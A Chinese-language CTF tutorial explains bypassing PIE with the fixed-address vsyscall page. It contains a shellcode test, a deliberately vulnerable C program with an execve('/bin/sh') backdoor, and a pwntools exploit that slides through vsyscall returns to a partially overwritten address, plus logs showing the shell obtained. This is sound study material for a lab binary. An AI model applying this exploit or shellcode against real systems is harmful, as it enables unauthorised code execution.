在做pwn题的时候,如果遇到pie难绕过的时候,不妨试试vsyscall绕过。
实验中用到的所有文件打包下载:http://file.eonew.cn/ctf/pwn/vsyscall.zip 。
目录
测试
先进行一些测试。
第一次测试:
ex@Ex:~/test$ cat /proc/self/maps
5606a6b94000-5606a6b9c000 r-xp 00000000 08:02 14680098 /bin/cat
5606a6d9b000-5606a6d9c000 r--p 00007000 08:02 14680098 /bin/cat
5606a6d9c000-5606a6d9d000 rw-p 00008000 08:02 14680098 /bin/cat
5606a8165000-5606a8186000 rw-p 00000000 00:00 0 [heap]
7fad7d1e6000-7fad7d679000 r--p 00000000 08:02 8656789 /usr/lib/locale/locale-archive
7fad7d679000-7fad7d860000 r-xp 00000000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7fad7d860000-7fad7da60000 ---p 001e7000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7fad7da60000-7fad7da64000 r--p 001e7000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7fad7da64000-7fad7da66000 rw-p 001eb000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7fad7da66000-7fad7da6a000 rw-p 00000000 00:00 0
7fad7da6a000-7fad7da91000 r-xp 00000000 08:02 12718670 /lib/x86_64-linux-gnu/ld-2.27.so
7fad7dc50000-7fad7dc74000 rw-p 00000000 00:00 0
7fad7dc91000-7fad7dc92000 r--p 00027000 08:02 12718670 /lib/x86_64-linux-gnu/ld-2.27.so
7fad7dc92000-7fad7dc93000 rw-p 00028000 08:02 12718670 /lib/x86_64-linux-gnu/ld-2.27.so
7fad7dc93000-7fad7dc94000 rw-p 00000000 00:00 0
7fff618ec000-7fff6190d000 rw-p 00000000 00:00 0 [stack]
7fff61983000-7fff61986000 r--p 00000000 00:00 0 [vvar]
7fff61986000-7fff61988000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
第二次测试:
ex@Ex:~/test$ cat /proc/self/maps
55a6a8632000-55a6a863a000 r-xp 00000000 08:02 14680098 /bin/cat
55a6a8839000-55a6a883a000 r--p 00007000 08:02 14680098 /bin/cat
55a6a883a000-55a6a883b000 rw-p 00008000 08:02 14680098 /bin/cat
55a6a98e7000-55a6a9908000 rw-p 00000000 00:00 0 [heap]
7f4e43601000-7f4e43a94000 r--p 00000000 08:02 8656789 /usr/lib/locale/locale-archive
7f4e43a94000-7f4e43c7b000 r-xp 00000000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7f4e43c7b000-7f4e43e7b000 ---p 001e7000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7f4e43e7b000-7f4e43e7f000 r--p 001e7000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7f4e43e7f000-7f4e43e81000 rw-p 001eb000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7f4e43e81000-7f4e43e85000 rw-p 00000000 00:00 0
7f4e43e85000-7f4e43eac000 r-xp 00000000 08:02 12718670 /lib/x86_64-linux-gnu/ld-2.27.so
7f4e4406b000-7f4e4408f000 rw-p 00000000 00:00 0
7f4e440ac000-7f4e440ad000 r--p 00027000 08:02 12718670 /lib/x86_64-linux-gnu/ld-2.27.so
7f4e440ad000-7f4e440ae000 rw-p 00028000 08:02 12718670 /lib/x86_64-linux-gnu/ld-2.27.so
7f4e440ae000-7f4e440af000 rw-p 00000000 00:00 0
7ffdec5cd000-7ffdec5ee000 rw-p 00000000 00:00 0 [stack]
7ffdec5f6000-7ffdec5f9000 r--p 00000000 00:00 0 [vvar]
7ffdec5f9000-7ffdec5fb000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
第三次测试:
ex@Ex:~/test$ cat /proc/self/maps
55d8aea37000-55d8aea3f000 r-xp 00000000 08:02 14680098 /bin/cat
55d8aec3e000-55d8aec3f000 r--p 00007000 08:02 14680098 /bin/cat
55d8aec3f000-55d8aec40000 rw-p 00008000 08:02 14680098 /bin/cat
55d8afd93000-55d8afdb4000 rw-p 00000000 00:00 0 [heap]
7fec8d99b000-7fec8de2e000 r--p 00000000 08:02 8656789 /usr/lib/locale/locale-archive
7fec8de2e000-7fec8e015000 r-xp 00000000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7fec8e015000-7fec8e215000 ---p 001e7000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7fec8e215000-7fec8e219000 r--p 001e7000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7fec8e219000-7fec8e21b000 rw-p 001eb000 08:02 12718698 /lib/x86_64-linux-gnu/libc-2.27.so
7fec8e21b000-7fec8e21f000 rw-p 00000000 00:00 0
7fec8e21f000-7fec8e246000 r-xp 00000000 08:02 12718670 /lib/x86_64-linux-gnu/ld-2.27.so
7fec8e405000-7fec8e429000 rw-p 00000000 00:00 0
7fec8e446000-7fec8e447000 r--p 00027000 08:02 12718670 /lib/x86_64-linux-gnu/ld-2.27.so
7fec8e447000-7fec8e448000 rw-p 00028000 08:02 12718670 /lib/x86_64-linux-gnu/ld-2.27.so
7fec8e448000-7fec8e449000 rw-p 00000000 00:00 0
7ffc51218000-7ffc51239000 rw-p 00000000 00:00 0 [stack]
7ffc512d5000-7ffc512d8000 r--p 00000000 00:00 0 [vvar]
7ffc512d8000-7ffc512da000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
如上所示,先后运行了三次cat /proc/self/maps查看本进程的内存,可以发现其他地址都在变,只有vsyscall一直稳定在0xffffffffff600000-0xffffffffff601000那么这块vsyscall是什么,又是干什么用的呢?
vsyscall
有些读者可能已经查阅过相关资料了。简单地说,现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall.我们使用gdb可以把vsyscall dump出来加载到IDA中观察。
seg000:FFFFFFFFFF600000 ; Segment type: Pure code
seg000:FFFFFFFFFF600000 seg000 segment byte public 'CODE' use64
seg000:FFFFFFFFFF600000 assume cs:seg000
seg000:FFFFFFFFFF600000 ;org 0FFFFFFFFFF600000h
seg000:FFFFFFFFFF600000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:FFFFFFFFFF600000 mov rax, 60h
seg000:FFFFFFFFFF600007 syscall ; $!
seg000:FFFFFFFFFF600009 retn
seg000:FFFFFFFFFF600009 ; ---------------------------------------------------------------------------
seg000:FFFFFFFFFF60000A align 400h
seg000:FFFFFFFFFF600400 mov rax, 0C9h
seg000:FFFFFFFFFF600407 syscall ; $!
seg000:FFFFFFFFFF600409 retn
seg000:FFFFFFFFFF600409 ; ---------------------------------------------------------------------------
seg000:FFFFFFFFFF60040A align 400h
seg000:FFFFFFFFFF600800 mov rax, 135h
seg000:FFFFFFFFFF600807 syscall ; $!
seg000:FFFFFFFFFF600809 retn
seg000:FFFFFFFFFF600809 ; ---------------------------------------------------------------------------
seg000:FFFFFFFFFF60080A align 800h
seg000:FFFFFFFFFF60080A seg000 ends
可以看到这里面有三个系统调用,从上到下分别是gettimeofday
,
time
和getcpu
。由于是系统调用,都是通过syscall来实现,这就意味着我们似乎有一个可控的sysall了。
错误演示
test.c
用下面这段手写shellcode,来尝试一下。
// compiled: gcc test.c -g -o test
int main()
{
asm(// str: /bin/sh
"mov $0x0068732f6e69622f, %rax\n"
"push %rax\n"
"mov %rsp, %rdi\n"
"mov $59, %rax\n" // #define __NR_execve 59
"mov $0, %rsi\n"
"mov $0, %rdx\n"
"mov $0xFFFFFFFFFF600007, %rbx\n"
"jmp %rbx\n");
return 0;
}
调试结果
0xffffffffff600007 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x3b
RBX 0xffffffffff600007 ◂— syscall
RCX 0x555555554640 (__libc_csu_init) ◂— push r15
RDX 0x0
RDI 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
RSI 0x0
R8 0x7ffff7dd0d80 (initial) ◂— 0x0
R9 0x7ffff7dd0d80 (initial) ◂— 0x0
R10 0x2
R11 0x3
R12 0x5555555544f0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdc60 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdb80 —▸ 0x555555554640 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
RIP 0xffffffffff600007 ◂— syscall
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x55555555460c <main+18> mov rax, 0x3b
0x555555554613 <main+25> mov rsi, 0
0x55555555461a <main+32> mov rdx, 0
0x555555554621 <main+39> mov rbx, -0x9ffff9
0x555555554628 <main+46> jmp rbx
↓
► 0xffffffffff600007 syscall <SYS_execve>
path: 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
argv: 0x0
envp: 0x0
0xffffffffff600009 ret
0xffffffffff60000a int3
0xffffffffff60000b int3
0xffffffffff60000c int3
0xffffffffff60000d int3
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rdi rsp 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ rbp 0x7fffffffdb80 —▸ 0x555555554640 (__libc_csu_init) ◂— push r15
02:0010│ 0x7fffffffdb88 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax
03:0018│ 0x7fffffffdb90 ◂— 0x1
04:0020│ 0x7fffffffdb98 —▸ 0x7fffffffdc68 —▸ 0x7fffffffe012 ◂— '/home/ex/test/test'
05:0028│ 0x7fffffffdba0 ◂— 0x100008000
06:0030│ 0x7fffffffdba8 —▸ 0x5555555545fa (main) ◂— push rbp
07:0038│ 0x7fffffffdbb0 ◂— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 ffffffffff600007
f 1 68732f6e69622f
f 2 555555554640 __libc_csu_init
f 3 7ffff7a05b97 __libc_start_main+231
pwndbg>
可以看到还有一步之遥就要拿到shell了,但是继续运行就会发现:
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xffffffffff600007 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x3b
RBX 0xffffffffff600007 ◂— syscall
RCX 0x555555554640 (__libc_csu_init) ◂— push r15
RDX 0x0
RDI 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
RSI 0x0
R8 0x7ffff7dd0d80 (initial) ◂— 0x0
R9 0x7ffff7dd0d80 (initial) ◂— 0x0
R10 0x2
R11 0x3
R12 0x5555555544f0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdc60 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdb80 —▸ 0x555555554640 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
RIP 0xffffffffff600007 ◂— syscall
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x55555555460c <main+18> mov rax, 0x3b
0x555555554613 <main+25> mov rsi, 0
0x55555555461a <main+32> mov rdx, 0
0x555555554621 <main+39> mov rbx, -0x9ffff9
0x555555554628 <main+46> jmp rbx
↓
► 0xffffffffff600007 syscall <SYS_execve>
path: 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
argv: 0x0
envp: 0x0
0xffffffffff600009 ret
0xffffffffff60000a int3
0xffffffffff60000b int3
0xffffffffff60000c int3
0xffffffffff60000d int3
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rdi rsp 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ rbp 0x7fffffffdb80 —▸ 0x555555554640 (__libc_csu_init) ◂— push r15
02:0010│ 0x7fffffffdb88 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax
03:0018│ 0x7fffffffdb90 ◂— 0x1
04:0020│ 0x7fffffffdb98 —▸ 0x7fffffffdc68 —▸ 0x7fffffffe012 ◂— '/home/ex/test/test'
05:0028│ 0x7fffffffdba0 ◂— 0x100008000
06:0030│ 0x7fffffffdba8 —▸ 0x5555555545fa (main) ◂— push rbp
07:0038│ 0x7fffffffdbb0 ◂— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 ffffffffff600007
f 1 68732f6e69622f
f 2 555555554640 __libc_csu_init
f 3 7ffff7a05b97 __libc_start_main+231
Program received signal SIGSEGV (fault address 0x0)
pwndbg>
程序直接crash
了。
原因
如上所示,直接执行sysall指令会触发中断从而crash。这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此,我们唯一的选择就是利用0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800这三个地址。
利用
那么这三个地址对于我们来说有什么用呢?
滑动绕过
由于这三个系统调用都是无参数传参,而且地址固定,我们可以用它来绕过PIE
,具体原理就是利用它们的影响性小的特性,而且有ret指令(可以就看成是一个ret
指令),我们就可以用它不停地“滑”到下一条栈地址
。
滑动绕过演示
具体原理是利用栈的数据没有清理干净,还残余着以前的信息,这正好可以为我们所利用。
vsyscall.c
// compiled: gcc -g vsyscall.c -o vsyscall
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void backdoor();
int main()
{
char buf[0x100];
read(0, buf, 0x100 - 1);
// 直接跳转到buf
asm("jmp %0" : : "m" (buf));
return 0;
}
void backdoor()
{
execve("/bin/sh", NULL, NULL);
}
安全防护
ex@Ex:~/test$ checksec vsyscall
[*] '/home/ex/test/vsyscall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护基本都开了。
让我们查看一下buf
的布局。首先在main
函数那里下断点,如下所示:
pwndbg> b main
Breakpoint 1 at 0x705: file vsyscall.c, line 10.
pwndbg> r
Starting program: /home/ex/test/vsyscall
Breakpoint 1, main () at vsyscall.c:10
warning: Source file is more recent than executable.
10 {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x5555555546fa (main) ◂— push rbp
RBX 0x0
RCX 0x555555554770 (__libc_csu_init) ◂— push r15
RDX 0x7fffffffdc68 —▸ 0x7fffffffe021 ◂— 'CLUTTER_IM_MODULE=xim'
RDI 0x1
RSI 0x7fffffffdc58 —▸ 0x7fffffffe00a ◂— '/home/ex/test/vsyscall'
R8 0x7ffff7dd0d80 (initial) ◂— 0x0
R9 0x7ffff7dd0d80 (initial) ◂— 0x0
R10 0x2
R11 0x3
R12 0x5555555545f0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdc50 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdb70 —▸ 0x555555554770 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffda60 ◂— 0x0
RIP 0x555555554705 (main+11) ◂— mov rax, qword ptr fs:[0x28]
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x555555554705 <main+11> mov rax, qword ptr fs:[0x28] <0x5555555546fa>
0x55555555470e <main+20> mov qword ptr [rbp - 8], rax
0x555555554712 <main+24> xor eax, eax
0x555555554714 <main+26> lea rax, [rbp - 0x110]
0x55555555471b <main+33> mov edx, 0xff
0x555555554720 <main+38> mov rsi, rax
0x555555554723 <main+41> mov edi, 0
0x555555554728 <main+46> call read@plt <0x5555555545c0>
0x55555555472d <main+51> jmp qword ptr [rbp - 0x110]
0x555555554733 <main+57> mov eax, 0
0x555555554738 <main+62> mov rcx, qword ptr [rbp - 8]
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/test/vsyscall.c
5 #include <unistd.h>
6
7 void backdoor();
8
9 int main()
► 10 {
11 char buf[0x100];
12 read(0, buf, 0x100 - 1);
13 // 直接跳转到buf
14 asm("jmp %0" : : "m" (buf));
15
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffda60 ◂— 0x0
01:0008│ 0x7fffffffda68 —▸ 0x7fffffffdbb0 —▸ 0x5555555545f0 (_start) ◂— xor ebp, ebp
02:0010│ 0x7fffffffda70 ◂— 0x0
... ↓
05:0028│ 0x7fffffffda88 —▸ 0x7ffff7ffe710 —▸ 0x7ffff7ffa000 ◂— jg 0x7ffff7ffa047
06:0030│ 0x7fffffffda90 —▸ 0x7ffff7b97787 ◂— pop rdi /* '__vdso_getcpu' */
07:0038│ 0x7fffffffda98 ◂— 0x380
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 555555554705 main+11
f 1 7ffff7a05b97 __libc_start_main+231
Breakpoint main
pwndbg>
查看buf
的栈情况:
pwndbg> x/32gx &buf
0x7fffffffda60: 0x0000000000000000 0x00007fffffffdbb0
0x7fffffffda70: 0x0000000000000000 0x0000000000000000
0x7fffffffda80: 0x0000000000000000 0x00007ffff7ffe710
0x7fffffffda90: 0x00007ffff7b97787 0x0000000000000380
0x7fffffffdaa0: 0x00007fffffffdad0 0x00007fffffffdae0
0x7fffffffdab0: 0x00007ffff7ffea98 0x0000000000000000
0x7fffffffdac0: 0x0000000000000000 0x0000000000000000
0x7fffffffdad0: 0x00000000ffffffff 0x0000000000000000
0x7fffffffdae0: 0x00007ffff7ffa268 0x00007ffff7ffe710
0x7fffffffdaf0: 0x0000000000000000 0x0000000000000000
0x7fffffffdb00: 0x0000000000000000 0x00000000756e6547
0x7fffffffdb10: 0x0000000000000009 0x00007ffff7dd7660
0x7fffffffdb20: 0x00007fffffffdb88 0x0000000000f0b5ff
0x7fffffffdb30: 0x0000000000000001 0x00005555555547bd
0x7fffffffdb40: 0x00007ffff7de59a0 0x0000000000000000
0x7fffffffdb50: 0x0000555555554770 0x00005555555545f0
pwndbg> p backdoor
$1 = {void ()} 0x55555555474e <backdoor>
pwndbg> p (0x7fffffffdb30+8)-0x7fffffffda60
$2 = 216
pwndbg> p 216/8
$3 = 27
pwndbg>
从上面可以看出0x7fffffffdb30+8
为我们可以利用的地址,它的值是0x00005555555547bd
,而backdoor
的地址是0x55555555474e
,所以我们只需要并把它的低字节改成0x4e
,并利用vsyscall
滑到那里,就可以拿到shell了,整个过程并不需要任何泄露地址信息。
利用脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import time
import struct
# context.log_level = "debug"
sh = process('./vsyscall')
elf = ELF('./vsyscall')
# 生成调试文件
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)
ret_addr = 0xFFFFFFFFFF600000
# pause()
sh.send(p64(ret_addr) * 27 + '\x4e')
sh.interactive()
# 删除调试文件
os.system("rm -f pid")
运行实例
ex@Ex:~/test$ python2 exp.py
[+] Starting local process './vsyscall': pid 21875
[*] '/home/ex/test/vsyscall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$
总结
貌似没有什么很大漏洞的vsyscall
,如果能和其他漏洞组合起来的话,0day
也是有可能的。